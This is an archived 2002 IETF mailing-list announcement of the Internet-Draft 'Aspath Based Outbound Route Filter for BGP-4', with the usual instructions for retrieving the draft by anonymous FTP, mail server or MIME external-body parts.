Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-aspath-orf-02.txt Date: Wed, 01 May 2002 07:26:06 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : Aspath Based Outbound Route Filter for BGP-4 Author(s) : K. Patel, S. Hares Filename : draft-ietf-idr-aspath-orf-02.txt Pages : Date : 30-Apr-02 This document defines a new Outbound Router Filter type for BGP, termed 'Aspath Outbound Route Filter', that can be used to perform aspath based route filtering. This ORF-type supports aspath based route filtering as well as regular expression based matching, for address groups. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-aspath-orf-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-aspath-orf-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-aspath-orf-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020430135802.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-aspath-orf-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-aspath-orf-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020430135802.I-D@ietf.org> --OtherAccess-- --NextPart--